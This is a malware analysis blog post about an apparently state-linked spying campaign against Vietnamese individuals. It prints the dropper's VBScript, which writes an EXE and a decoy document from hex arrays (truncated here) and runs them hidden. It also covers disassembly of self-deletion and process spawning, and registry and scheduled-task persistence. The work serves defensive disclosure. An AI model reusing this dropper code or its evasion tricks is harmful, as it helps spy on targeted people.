Another country-sponsored #malware: Vietnam APT Campaign

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This is a team work analysis, we have at least 5 (five) members involved with this investigation.
The case that is about to be explained here is an APT case. Until now, we were (actually) avoiding APT cases for publicity in Malware Must Die! posts. But due to recent progress in *"public privacy violation or power-abuse/bullying"* malware cases, we improved our policy, so for several cases fit to *"a certain condition"*, i.e. malware developed by *"powerful actors with budget"* aiming weak victims including the APT method, or, intimidation for public privacy cases using a crafted-malware, are going to be disclosed and reported here ***"ala MMD"***, along w/public criminal threat too. So don't use malware if you don't want to look BAD :-)

This case is NOT a new threat, for the background this threat was written in the Infosec Island blog, written by By Eva Galperin and Morgan Marquis-Boire in the good report of article: "Vietnamese Malware Gets Very Personal" which is posted several months ago, access is in here-->[LINK], the post was very well written as heads up for this threat. Also, there are similar article supported to this threat and worth reading beforehand like:

http://www.nytimes.com/aponline/2014/01/20/world/asia/ap-as-vietnam-online-wars.html

You can consider this post is made as additional for the previous writings, to disclose deeper of what public and the victims actually SHOULD know in-depth about the malicious activity detail, that is performed by this malware. To be more preventive in the future for the similar attack that is possibly occurred.

We suspect a group with good budget is in behind of this malware, aiming and bullying privacy of specific individuals who against one country's political method. In a glimpse, the malware, which is trying hard to look like a common-threat, looks like a simple backdoor & connecting/sending some stuffs to CNC. But if you see it closely to the way it works, you will be amazed of the technique used to fulfill its purpose, and SPYING is the right word for that purpose.

The sample we analyzed in this post was received from the victims side, we picked the one file called "Thu moi.7z" which contains the "Thu moi.hta" snipped below:



Name	Date modified	Type	Size
Thu moi.7z	2014/08/17 22:33	WinRAR archive	401 KB
Thu moi.hta	2013/01/26 1:41	HTML Application	1,338 KB

```
3aefa7a49e75e871959365ce65e60037 .¥Thu moi.7z
6e667d6c9e527ada1a3284aa333d954d .¥Thu moi.hta
```

..which was reported as the latest of this series.

From the surface, if "Thu moi.hta" file is being executed (double clicked), it will extract (drop) and opening a Microsoft Word DOC file, to camouflage the victim to make them believe that they are opening an archived document file, while what had actually happened is, in the background a series of infection activities happened in the victim's PC.

Malware installer scheme

How the file was extracted from "Thu moi.hta" is by utilizing a simple embedded VB Script, you can see it started in the line 307 (of that .hta sample file) as per shown below in any text editor you pick:



At the starting part of this script. you can see three points was used to camouflage, which are : (1) The usage of the long white space to cover the evil script start tag from the eye-sight, (2) the effort to minimize the "window" for the shell used to run this evil VB Script, and (3) the effort to NOT showing the window taskbar during the script running.

I will try to peel the evil script used, with the explanation I commented within the lines, as per below:



So, the script was design to keep on running in any run time error. You will meet the function forming the randomized strings for an "exe" filename. You can see how this script generate the *"random seed"* to be used for randomizing the strings used for filename, and how it merged *filename* with the *".exe"* extension afterwards. Then the script is obfuscating the WScript's (the Windows OS interpreter engine for running a VB Script) commands to form an object of file system, and the shell for execution a windows command/executable file(s).



```
51 '// pumping those to o and s from now on..
52 '// o = calling File System Object (os)
53 '// s = calling execution Shell (ws)
54
55 '// ----------------------------------------
56 '// Injecting the Malware File
57 '// in the /tmp.
58 '// ----------------------------------------
59
60 '// assembly string for tmp path & filename..
61 p1=o.GetSpecialFolder(2)&"¥¥" & kefbrrg()
62
63 '// Checking the file name here..
64 Wscript.Echo "Filename: " & p1
65
66 t=split("4D,5A,90,0,3,0,0,0,4,0,0,0,FF,FF,0,0,B8,0,0,0,0,0,0,0,40,0,0,0,0,0,0,0,
67 ,0,0,F0,0,0,0,E,1F,BA,E,0,B4,9,CD,21,B8,1,4C,CD,21,54,68,69,73,20,70,72,6F,67,72,
   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2E,74,65,78,74,0,0,0,CF,12,2,0,0,10,0,0,0,14,2,
   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
   ,E2,1B,2,C0,32,C2,81,F9,C8,CE,46,0,7C,DD,C7,5,A0,C2,46,0,63,0,0,0,C7,5,6C,F4,46,
   ,DA,46,0,C1,C8,8,89,81,A0,CA,46,0,C1,C8,8,89,81,A0,C6,46,0,83,C1,4,81,F9,0,4,0,0,
   [...]
68 ,8,33,34,33,38,33,54,33,58,33,6C,33,74,33,7C,33,84,33,8C,33,94,33,9C,33,A4,33,AC,
   6C,3F,70,3F,74,3F,78,3F,7C,3F,88,3F,8C,3F,90,3F,94,3F,98,3F,9C,3F,A0,3F,A4,3F,A8,
69 ,1C,0,0,0,4,30,8,30,B0,30,D0,30,EC,30,8,31,28,31,4C,31,6C,31,0,0,0,0,0,0,0,0,0,0,
   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
   ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
   ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
   ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
70
71 '// The HEX writing for this EXE File (p1)
72
73 Set f=o.CreateTextFile(p1,True)
74 For i=0 To UBound(t)
75 v = Int("&H"&t(i))
76 f.Write chr(v)
77 Next
78 f.close
79
```

The line 48 & 49 of the script is to declare the file object & shell mentioned above in the variable **"os"** and **"ws"**. And following by defining the windows temporary folder as file's path added by the function's generated randomized name as filename+extension. To make sure of what these variables generated values, I am using break points formed by Wscript.Echo trick to burp its value in a pop-up.

The VB Script is creating the EXE file as per previously described above, declared it as an object **"p1"**. Then you can see blob of binary codes to be written as HEX to form a file, by using the combination of commands in VB script. This method

is commonly used as technique to write a malware binary in VB Script. But this one is a well-thought one.



```
80  '// ----------------------------------------
81  '// Obfuscation for file System Onject &
82  '// script executable command..
83  '// Injecting the second drop (Doc loi.doc)
84  '// ----------------------------------------
85
86  os="Sc"
87  ws="WS"
88  os=os & "ript"
89  ws=ws & "cript.S"
90  os=os & "ing.F"
91  ws=ws & "hell"
92  os=os & "ileSy"
93  os=os & "stemObject"
94  Set o=CreateObject(os)
95  Set s=CreateObject(ws)
96  p=o.GetSpecialFolder(2)&"¥Doc loi.doc"
97  t=split("D0,CF,11,E0,A1,B1,1A,E1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3E,0,3,0,FE,FF,9
98  FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,
    ,0,0,0,0,13,0,0,0,0,0,0,0,13,0,0,0,0,0,0,0,13,0,0,94,0,0,0,94,13,0,0,C,0,0,0,0,13
    ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7B,14,0,0,0,0,0,0,E3,17,0,0,0,0,0,
99  ,FF,FF,FF,FF,0,0,0,0,E0,C2,E2,4E,DE,FA,CD,1,0,0,0,0,0,0,0,0,FF,FF,FF,FF,0,0,0,0,D
    [...]
100 ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,0,2,0,FF,FF,FF,FF,FF,FF,FF,FF
    FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,
    FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,FF,
    ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
101
102 '// Then write the above doc file...
103
104 Set f=o.CreateTextFile(p,True)
105 For i=0 To UBound(t)
106 v = Int("&H"&t(i))
107 f.Write chr(v)
108 Next
109 f.close
110
111 '// ----------------------------------------
112 '// Running the injected malware files...
113 '// p1 = binary malware, p2 = doc file..
114 '// ----------------------------------------
115
116 rs = s.run ( """" & p & """" , 1, FALSE)
117 s.run """" & p1 & """" , 0, TRUE
118 '// window.close
119 [EOF]
```

The next lines is explaining the same method used for HEX file-writing. Yes, it wrote another file, and declaring it as object **"p"**, but this one is using the static variable name "Doc Loi.doc" which is using the %Temp% path too (noted: GetSpecialFolder(x) where x=2 means %Temp%).

Here's the punchline, the last part of codes (lines 116 and 117) you will see the script is performing execution of object "p" (the .doc file) and without waiting it just run the "p1" (the .exe malware).

We recheck the run result of any decoding method we did. In this case I just commented the line 116 and 117 and..as per expected, this script runs and minimizing the window w/o taskbar title:

And it creates those two files (before execution). I run it many times for fun..NO!" ..for "analysis" (Uhm!), so I can extract randomized injected files to check is it polymorphic or not (and..of course..it is not, NOT with this plain Hex writing crap).



Doc loi.doc	35 KB	2014/08/23 3:41
mgdkgpiab.exe	428 KB	2014/08/23 3:41
kopkt.exe	428 KB	2014/08/23 3:40
mrpwz.exe	428 KB	2014/08/23 3:40
emxbk.exe	428 KB	2014/08/23 3:39
meztqqi.exe	428 KB	2014/08/23 3:37
puoqnik.exe	428 KB	2014/08/23 3:36
ylnaqsjku.exe	428 KB	2014/08/23 3:36

Further, we also formed the binary file-injecting itself from hex-strings directly from the script as per snipped below, to study the possibility of a miss-writing that can happened during forming the PE extraction, the test was done with the same result. A snip of scratch used (thanks to MMD DE team):



We also check bit-by-bit to make sure which samples belong to which installers, since this malware looks hit some victims / more than one time.

So what does this ".exe" malware do?

Polymorphic self-copy & new process spawner

I picked the .exe file dropped by this .hta installer with the MD5 hash f38d0fb4f1ac3571f07006fb85130a0d, this malware was uploaded to VT about 7 months ago.

The malware is the one was dropped by the installer, you can see the same last bits before blobs of "00" hex were written in the malware binary as per snipped and red-marked color in the VB script mentioned in the previous section:



This binary is having an interesting functionality. There's so much to write from it..but I will go to important highlights, or this post is going to be a book. Among all usual malicious tricks for evasion & "reverse/debug checking" tricks used, it was designed to detect the way it was called. When it was initially executed as the form of the dropped .exe from the .hta installer it will delete the original file and rewrite itself to the %Temp% folder using the random Hex-filename with ".tmp" extension, below is the partial writing codes snipped for it:

```
0x040AB11 | push    esi  ; contains path of this exe
0x040AB12 | call    ds:PathFileExistsW  ;
0x040AB18 | test    eax, eax↓
0x040AB1A | jz      short loc_40AB91↓
0x040AB1C | push    esi  ; the file name of this exe↓
0x040AB1D | call    ds:DeleteFileW ; // self deletion
0x040AB23 | test    eax, eax↓
    :
0x040AB32 | xor     edx, edx↓
0x040AB34 | push    ebx↓
0x040AB35 | push    eax↓
0x040AB36 | mov     [ebp+NewFileName], dx↓
0x040AB3D | call    sub_412510↓
0x040AB42 | add     esp, 0Ch↓
0x040AB45 | lea     ecx, [ebp+NewFileName]↓
0x040AB4B | push    ecx  ; lpBuffer↓
0x040AB4C | push    104h    ; nBufferLength↓
0x040AB51 | call    ds:GetTempPathW↓
0x040AB57 | test    eax, eax↓
0x040AB59 | jz      loc_40AD0A↓
0x040AB5F | lea     edx, [ebp+NewFileName]↓
0x040AB65 | push    edx  ; lpTempFileName↓
0x040AB66 | push    ebx  ; uUnique↓
0x040AB67 | push    ebx  ; lpPrefixString↓
0x040AB68 | mov     eax, edx↓
0x040AB6A | push    eax  ; lpPathName↓
0x040AB6B | call    ds:GetTempFileNameW↓
0x040AB71 | test    eax, eax↓
0x040AB73 | jz      loc_40AD0A↓
0x040AB79 | push    1    ; dwFlags↓
0x040AB7B | lea     ecx, [ebp+NewFileName]↓
0x040AB81 | push    ecx  ; lpNewFileName↓
0x040AB82 | push    esi  ; lpExistingFileName↓
0x040AB83 | call    ds:MoveFileExW↓
0x040AB89 | test    eax, eax↓
0x040AB8B | jz      loc_40AD0A↓
```

The self-copied files are polymorphic, below some PoC, one AV evasion detection designed:

```
Size   Exec Date    Filename MD5
-------------------------------------------------------------
438272 Aug 23 01:28 10.tmp*  577237bfd9c40e7419d27b7b884f95d3
438272 Aug 23 07:22 17.tmp*  9451a18db0c70960ace7d714ac0bc2d2
438272 Aug 23 07:36 18.tmp*  53d57a45d1b05dce56dd139fc985c55e
438272 Aug 23 07:39 19.tmp*  387321416ed21f31ab497a774663b400
438272 Aug 23 07:43 1A.tmp*  0a65ecc21f16797594c53b1423749909
438272 Aug 23 07:44 1B.tmp*  91a49ed76f52d5b6921f783748edab01
438272 Aug 23 07:44 1C.tmp*  f89571efe231f9a05f9288db84dcb006
438272 Aug 23 07:45 1D.tmp*  7ca95b52ed43d71e2d6a3bc2543b4ee1
438272 Aug 23 07:46 1E.tmp*  faec9c62f091dc2163a38867c28c224d
438272 Aug 23 07:47 1F.tmp*  4b02063c848181e3e846b59cbb6b3a46
438272 Aug 23 08:14 20.tmp*  5c8f2f581f75beff1316eee0b5eb5f6d
438272 Aug 23 01:19 F.tmp*   b466cb01558101d934673f56067f63aa
       :             :
```

It'll then create the process (with the command line API), which will be executed at the function reversed below, I put default IDA commented information since it is important for all of us (not only reverser) to understand flow used below, pls bear the length, just please scroll down to skip these assembly explanation (unless you interest to know how it works):

```
0x40BF20 sub_40BF20  proc  near
0x40BF20
0x40BF20 StartupInfo= _STARTUPINFOW  ptr  -8508h
```

```
0x40BF20 ProcessInformation= _PROCESS_INFORMATION ptr -84C4h
0x40BF20 var_84B4= dword ptr -84B4h
0x40BF20 CommandLine= word ptr -84B0h
0x40BF20 FileName= word ptr -4B0h
0x40BF20 ApplicationName= dword ptr -2A8h
0x40BF20 var_A0= dword ptr -0A0h
0x40BF20 var_1C= dword ptr -1Ch
0x40BF20 var_18= dword ptr -18h
0x40BF20 var_10= dword ptr -10h
0x40BF20 var_8= dword ptr -8
0x40BF20 var_4= dword ptr -4
0x40BF20 arg_8= dword ptr 10h
0x40BF20
0x40BF20 push ebp
0x40BF21 mov ebp , esp
0x40BF23 push 0FFFFFFFEh
0x40BF25 push offset unk_4284D0
0x40BF2A push offset sub_416480
0x40BF2F mov eax , large fs :0
0x40BF35 push eax
0x40BF36 sub esp , 8
0x40BF39 mov eax , 84F0h
0x40BF3E call sub_4207F0
0x40BF43 mov eax , dword_42A520
0x40BF48 xor [ ebp +var_8], eax
0x40BF4B xor eax , ebp
0x40BF4D mov [ ebp +var_1C], eax
0x40BF50 push ebx
0x40BF51 push esi
0x40BF52 push edi
0x40BF53 push eax
0x40BF54 lea eax , [ ebp +var_10]
0x40BF57 mov large fs :0, eax
0x40BF5D mov [ ebp +var_18], esp
```

```
0x40BF60 mov esi, [ebp+arg_8]
0x40BF63 xor ebx, ebx
0x40BF65 push ebx
0x40BF66 call ds:CoInitialize
0x40BF6C mov [ebp+var_4], ebx
0x40BF6F push 6
0x40BF71 push offset aHelp
0x40BF76 push esi
0x40BF77 call sub_41196F
0x40BF7C add esp, 0Ch
0x40BF7F test eax, eax
0x40BF81 jz loc_40C13E
    :
0x40BF87 call sub_409740
0x40BF8C xor eax, eax
0x40BF8E mov [ebp+FileName], ax
0x40BF95 push 206h
0x40BF9A push ebx
0x40BF9B lea ecx, [ebp-4AEh]
0x40BFA1 push ecx
0x40BFA2 call sub_412510
0x40BFA7 add esp, 0Ch
0x40BFAA push 104h
0x40BFAF lea edx, [ebp+FileName]
0x40BFB5 push edx
0x40BFB6 push ebx
0x40BFB7 call ds:GetModuleFileNameW
0x40BFBD test eax, eax
0x40BFBF jz loc_40C15D
    :
0x40BFC5 xor eax, eax
0x40BFC7 mov word ptr [ebp+ApplicationName], ax
0x40BFCE push 206h
0x40BFD3 push ebx
```

```
0x40BFD4 lea  ecx , [ ebp +ApplicationName+2]
0x40BFDA push ecx
0x40BFDB call sub_412510
0x40BFE0 add  esp , 0Ch
0x40BFE3 lea  edx , [ ebp +ApplicationName]
0x40BFE9 push edx
0x40BFEA push 104h
0x40BFEF call ds :GetTempPathW
0x40BFF5 test eax , eax
0x40BFF7 jz   loc_40C15D
    :
0x40BFFD lea  eax , [ ebp +ApplicationName]
0x40C003 push eax
0x40C004 push ebx
0x40C005 push ebx
0x40C006 mov  ecx , eax
0x40C008 push ecx
0x40C009 call ds :GetTempFileNameW
0x40C00F test eax , eax
0x40C011 jz   loc_40C15D
    :
0x40C017 call sub_4079C0
0x40C01C test eax , eax
0x40C01E jz   loc_40C15D
    :
0x40C024 mov  byte ptr [ ebp +var_A0], bl
0x40C02A push 80h
0x40C02F push ebx
0x40C030 lea  edx , [ ebp +var_A0+1]
0x40C036 push edx
0x40C037 call sub_412510
0x40C03C add  esp , 0Ch
0x40C03F mov  [ ebp +var_84B4], 81h
0x40C049 lea  edx , [ ebp +var_84B4]
```

```
0x40C04F lea eax, [ebp+var_A0]
0x40C055 call sub_40A300
0x40C05A test eax, eax
0x40C05C jz loc_40C15D
:
0x40C07B xor eax, eax
0x40C07D mov [ebp+CommandLine], ax
0x40C084 push 7FFEh
0x40C089 push ebx
0x40C08A lea ecx, [ebp-84AEh]
0x40C090 push ecx
0x40C091 call sub_412510
0x40C096 lea edx, [ebp+var_A0]
0x40C09C push edx
0x40C09D lea eax, [ebp+FileName]
0x40C0A3 push eax
0x40C0A4 lea ecx, [ebp+ApplicationName]
0x40C0AA push ecx
0x40C0AB push offset aSHelpSS
0x40C0B0 push 4000h
0x40C0B5 lea edx, [ebp+CommandLine]
0x40C0BB push edx
0x40C0BC call sub_411448
0x40C0C1 mov [ebp+StartupInfo.cb], ebx
0x40C0C7 push 40h
0x40C0C9 push ebx
0x40C0CA lea eax, [ebp+StartupInfo.lpReserved]
0x40C0D0 push eax
0x40C0D1 call sub_412510
0x40C0D6 add esp, 30h
0x40C0D9 mov [ebp+StartupInfo.cb], 44h
0x40C0E3 xor ecx, ecx
0x40C0E5 mov [ebp+StartupInfo.wShowWindow], cx
0x40C0EC mov [ebp+StartupInfo.dwFlags], 1
```

```
0x40C0F6 mov [ ebp +ProcessInformation.hProcess], ebx
0x40C0FC xor eax , eax
0x40C0FE mov [ ebp +ProcessInformation.hThread], eax
0x40C104 mov [ ebp +ProcessInformation.dwProcessId], eax
0x40C10A mov [ ebp +ProcessInformation.dwThreadId], eax
0x40C110 lea edx , [ ebp +ProcessInformation]
0x40C116 push edx
0x40C117 lea eax , [ ebp +StartupInfo]
0x40C11D push eax
0x40C11E push ebx
0x40C11F push ebx
0x40C120 push 8000000h
0x40C125 push ebx
0x40C126 push ebx
0x40C127 push ebx
0x40C128 lea ecx , [ ebp +CommandLine]
0x40C12E push ecx
0x40C12F lea edx , [ ebp +ApplicationName]
0x40C135 push edx
0x40C136 call ds :CreateProcessW
0x40C13C jmp short loc_40C15D
```

if the .hta dropped malware named "sample.exe", new process will be started by launching command line contains parameters described below:

```
"CreateProcessW" , "C:\DOCUME~1\...\LOCALS~1\Temp\RANDOM[0-9A-F]{1,2}.tmp" , "SUCCESS|FAIL" ,"PID: xxx,
Command line: "" C :\DOCUME~1\...\LOCALS~1\Temp\RANDOM[0-9A-F]{1,2}.tmp "" \n
--helpC:\DOCUME~1\...\LOCALS~1\Temp\sample.exe \n
BCE6D32D8CD4F1E6A1064F66D561FDA47E0CD5F8F330C4856A250BB104BC18320FF75E6E56A1741C6770AD238DCFD23DD8A82DDF332FDC811097254
```

The decryption function used is as per below:



And this malware will end its process here, raising new process that has just been executed..

More drops & payload installation

The process RANDOM[0-9A-F]{1,2}.tmp started by allocated memory, loading rpcss.dll, uxtheme.dll, MSCTF.dll before it self deleting the dropper .exe. The snip code for the deletion is as per below, this isn't also an easy operation, it checks whether the file is really there, if not it makes sure it is there..

```
1   0x40A648 push edi
2   0x40A649 call ds :PathFileExistsW
3   :
4   0x40A657 push 0Ah
5   0x40A659 push 65h
6   0x40A65B push ebx
7   0x40A65C call ds :FindResourceW
8   0x40A662 mov esi , eax
9   0x40A664 cmp esi , ebx
10  0x40A666 jz loc_0x40A7CB
11  :
12  0x40A7CB loc_0x40A7CB:
13  0x40A7CB push edi
14  0x40A7CC call ds :DeleteFileW
15  0x40A7D2 mov [ ebp +var_18], 1
16  0x40A779 mov ecx , [ ebp +lpFile]
17  0x40A77C mov edx , [ ebp +lpExistingFileName]
18  0x40A77F push ecx
19  0x40A780 push edx
20  :
21  0x40A78B mov eax , [ ebp +lpFile]
22  0x40A78E push 1
23  0x40A790 push ebx
24  0x40A791 push ebx
```

```
25  0x40A792  push  eax
26  0x40A793  push  ebx
27  0x40A794  push  ebx
28  0x40A795  call  ds :ShellExecuteW
29  0x40A79B  mov   [ ebp +var_18], 1
30      :
31
32
33
```

..up to this point I know that we're dealing with a tailored-made malware.

Back to the highlights, RANDOM[0-9A-F]{1,2}.tmp executed with the right condition will drop payloads of this threat, the first drop is the real deal payload, following by the second drop as the its driver. The file creation of first payload is handled in function 0x41FC90, with the related snip below:

```
1   0x41FEAF  mov   eax , [ ebp +arg_0]
2   0x41FEB2  mov   edi ,  ds :CreateFileW
3   0x41FEB8  push  0
4   0x41FEBA  push  [ ebp +dwFlagsAndAttributes]
5   0x41FEBD  mov   dword ptr [ eax ], 1
6   0x41FEC3  push  [ ebp +dwCreationDisposition]
7   0x41FEC6  lea   eax , [ ebp +SecurityAttributes]
8   0x41FEC9  push  eax
9   0x41FECA  push  [ ebp +dwShareMode]
10  0x41FECD  push  [ ebp +dwDesiredAccess]
11  0x41FED0  push  [ ebp +lpFileName]
12  0x41FED0
13  0x41FED0
14  0x41FED0
15  0x41FED0
16  0x41FED0
17  0x41FED0
18  0x41FED0
19  0x41FED0
20  0x41FED0
21  0x41FED3  call  edi
```

```
22  0x41FED5 mov  [ ebp +hHandle],  eax
```

And the writing this file is written in function 0x418EC2 after deobfuscating data part, as per snipped here:

```
1   0x418FB9 mov  eax , [ eax +6Ch]
2   0x418FBC xor  ecx ,  ecx
3   0x418FBE cmp  [ eax +14h],  ecx
4   0x418FC1 lea  eax , [ ebp +CodePage]
5   0x418FC7 setz  cl
6   0x418FCA push  eax
7   0x418FCB mov  eax , [ ebx ]
8   0x418FCD push  dword ptr [ edi + eax ]
9   0x418FD0 mov  esi ,  ecx
10  0x418FD2 call  ds :GetConsoleMode
11     : (etc etc)
12  0x4194F0 push  ecx
13  0x4194F1 lea  ecx , [ ebp +var_1AD8]
14  0x4194F7 push  ecx
15  0x4194F8 push  [ ebp +nNumberOfBytesToWrite]
16  0x4194FB push  [ ebp +lpBuffer]
17  0x419501 push  dword ptr [ eax + edi ]
18  0x419504 call  ds :WriteFile
19  0x41950A test  eax ,  eax
20  0x41950C jz  short loc_0x419523
21     :
22  0x419523 call  ds :GetLastError
23  0x419529 mov  dword ptr [ ebp +WideCharStr],
```

we recorded this drop operation in the forensics way too, as per below as evidence:



As you can see the wiring method is in redundancy per 4096 bytes.

This first drop called defrag.exe looks pretty much like Windows harddisk defragmentation tool, down to its property, a perfectly crafted evil file:





90F5BBBA8760F964B933C5F0007592D2

Only by using good analysis binary static analysis tool like PEStudio (maker: Marc Oschenmeier), we can spot and focus investigation to the badness indicators right away:



> @MalwareMustDie Thx for using PEStudio for your investigation. In that case, PEStudio indicating that the image is a fake Microsoft EXE! :-)
>
> — Marc Ochsenmeier (@ochsenmeier) August 25, 2014

The next drop is the next task of this binary, noted that none of these drops were fetched from internet instead the data is already included in .hta or .[random].exe or [random.tmp].
Using the exactly the same functions described above, 0x41FC90 for creation and 0x418EC2 for writing, the second drop operation were also performed. The file name is formed as per below strings:

```
1  "%USERPROFILE%\AppData\Identities\{RANDOM-ID}\disk1.img"
2  like:
3  "C:\Documents and Settings\MMD\Application Data\Identities\{116380ff-9f6a-4a90-9319-89ee4f513542}\disk1.img"
```

the forensics PoC is:



This file is actually a DLL file, here's some peframe:

```
File Name:      disk1.img
PE32 executable  for  MS Windows (DLL) (GUI) Intel 80386 32-bit
File Size:      249344 byte
Compile Time:   2010-08-14 17:16:08
"DLL:            True"
Entry Point: 0x0001BBD1
Sections:       4
MD5   hash:     62646ea0a4ce1e6d955cbaef8c4a510d
SHA-1 hash:     10116a65e19a7ebc6702250cc1caabf755ce8e7f
Anti Debug:     Yes
Anti VM:        None
```

And Virus Total showing the good infection info:

```
First submission 2013-03-11 10:38:19 UTC ( 1 year, 5 months ago )
Last submission 2014-01-21 12:49:00 UTC ( 7 months ago )
File names disk1.dl, disk1.img
```

This file is then performing registry query and writing operations, I will skip some assembly for this, so shortly, these are the 8 keys added, below data I snip from forensics result:



We can see the autostart, and the way it camouflage malicious data in registry using legit scattered softwares and Windows components. Like: Auslogic (RecoveryDataStore), Photo Viewer, Disk Defragment Module, Microsoft Remote Assitance.
This all means to hide and prevent the quick notice of this malware in the infected PC, it is a well thought plan.
To be noted that one of the key is used to run the defrag.exe execution via ShellExecuteW by the [Random].tmp file, and also you can see the "key" used for this malware saved, one last thing to be noticed is the the bot ID used.

PS: There are also more drops made which are the Windows task installer for this malware

```
C:\Windows\Tasks\ScheduledDefrag.job
C:\Windows\Tasks\ScheduledDefrag_admin.job
```

It is the Windows scheduler (kinda crond) to execute the EXE payload (defrag.exe). Pic:



What this payload does

First thing that caught interest and attention is these obfuscation constant variables saved in .rdata section:

```
1  0x40F3AC
2  0x40F3AC aTztxpx75Xtdsjq:
3  0x40F3AC    unicode 0, <"tztxpx75]xtdsjqu/fyf",>,0
4  0x40F3D6    align 4
5  0x40F3D8
6  0x40F3D8 aTztufn43Xtdsjq:
7  0x40F3D8    unicode 0, <"tztufn43]xtdsjqu/fyf",>,0
8  0x40F402    align 4
9  0x40F404
10 0x40F404 a2e6g3ddEmm:
11 0x40F404    unicode 0, <"2e6g3dd/emm",>,0
12 0x40F430
13 0x40F430 aQsphsbnGjmftY9:
14 0x40F430    unicode 0, <"Qsphsbn!Gjmft!)y97*]Joufsofu!Fyqmpsfs]jfmpxvujm/fyf",>,0
15 0x40F498
16 0x40F498 aQsphsbnGjmftNf:
17 0x40F498    unicode 0, <"Qsphsbn!Gjmft]Nfttfohfs]ntntht/fyf",>,0
18 0x40F4DE    align 10h
19 0x40F4E0
20 0x40F4E0 aQsphsbnGjmft_0:
21 0x40F4E0    unicode 0, <"Qsphsbn!Gjmft!)y97*]Joufsofu!Fyqmpsfs]jfyqmpsf/fyf",>,0
22 0x40F546    align 4
```

```
0x40F548
0x40F548 aQsphsbnGjmftJo:
0x40F548    unicode 0, <  "Qsphsbn!Gjmft]Joufsofu!Fyqmpsfs]jfyqmpsf/fyf"  >,0
0x40F5A2    align  4
```

We have good decoder team in MMD. Soon these data were translated as per below:



When these data formed in the functions where they were called, we will have better idea of WHY these strings were obfuscated. This time we will take a look at the dump analysis in disassembly, to seek the executed code parts only:

```
0x0C22D37    call  0x0C28720h  target: 0x0C28720
0x0C22D3C    add  esp  , 0Ch
0x0C22D3F    push  0x0C2F404h <== UTF-16   "2e6g3dd/emm"
0x0C22D44    lea  edx  ,  dword  ptr  [  ebp  -00000084h]
0x0C22D4A    push  edx
0x0C22D4B    call  dword  ptr  [0x0C2D06Ch]  lstrcpyW@KERNEL32.DLL
0xC2207C    lea  ecx  ,  dword  ptr  [  ebp  -00000802h]
0xC22082    push  ecx
0xC22083    mov  word  ptr  [  ebp  -00000804h],  ax
0xC2208A    call  00C28720h  target: 00C28720
0xC2208F    add  esp  , 0Ch
0xC22092    push  00C2F278h <== UTF-16
"Tpguxbsf]Bvtmphjdt]|11111111.1111.1111.1111.111111111111~]SfdpwfszEbubTupsf"
0x0C22A4E    call  ebx  PathFileExistsW@SHLWAPI.DLL (  Import  , 1 Params)
0x0C22A50    test  eax  ,  eax
0x0C22A52    jne  0x0C22AB8h  target: 0x0C22AB8
0x0C22A54    push  0x0C2F4E0h <== UTF-16   "Qsphsbn!Gjmft!)y97*]Joufsofu!Fyqmpsfs]jfyqmpsf/fyf"
0x0C22625    xor  eax  ,  eax
0x0C22627    push  0000007Eh
0x0C22629    push  eax
0x0C2262A    lea  ecx  ,  dword  ptr  [  ebp  -0x000086h]
0x0C22630    push  ecx
0x0C22631    mov  word  ptr  [  ebp  -0x000088h],  ax
0x0C22638    call  0x0C28720h  target: 0x0C28720
0x0C2263D    mov  esi  ,  dword  ptr  [0x0C2D06Ch]  lstrcpyW@KERNEL32.DLL
0x0C22643    add  esp  , 0Ch
```

```
0x0C22646  push  0x0C2F360h <== UTF-16  "//]tlzqf/fyf"
0x0C2264B  lea  edx  ,  dword  ptr  [  ebp  -0x000088h]
0x0C22651  push  edx
0x0C22652  call  esi  lstrcpyW@KERNEL32.DLL
0x0C229DB  push  edx
0x0C229DC  call  ebx  PathFileExistsW@SHLWAPI.DLL
0x0C229DE  test  eax  ,  eax
0x0C229E0  jne  0x0C22A46h  target: 0x0C22A46
0x0C229E2  push  0x0C2F498h <== UTF-16  "Qsphsbn!Gjmft]Nfttfohfs]ntntht/fyf"
0x0C229E7  lea  eax  ,  dword  ptr  [  esp  +74h]
0x0C229EB  push  eax
0x0C229EC  call  esi  lstrcpyW@KERNEL32.DLL
0x0C22876  call  dword  ptr  [0x0C2D090h]  GetVersion@KERNEL32.DLL (  Import  , 0 Params)
0x0C2287C  mov  esi  ,  dword  ptr  [0x0C2D06Ch]  lstrcpyW@KERNEL32.DLL (  Import  , 2 Params)
0x0C22882  push  0x0C2F3ACh <== UTF-16  "tztxpx75]xtdsjqu/fyf"  ; DECODED:
"syswow64\wscript.exe"
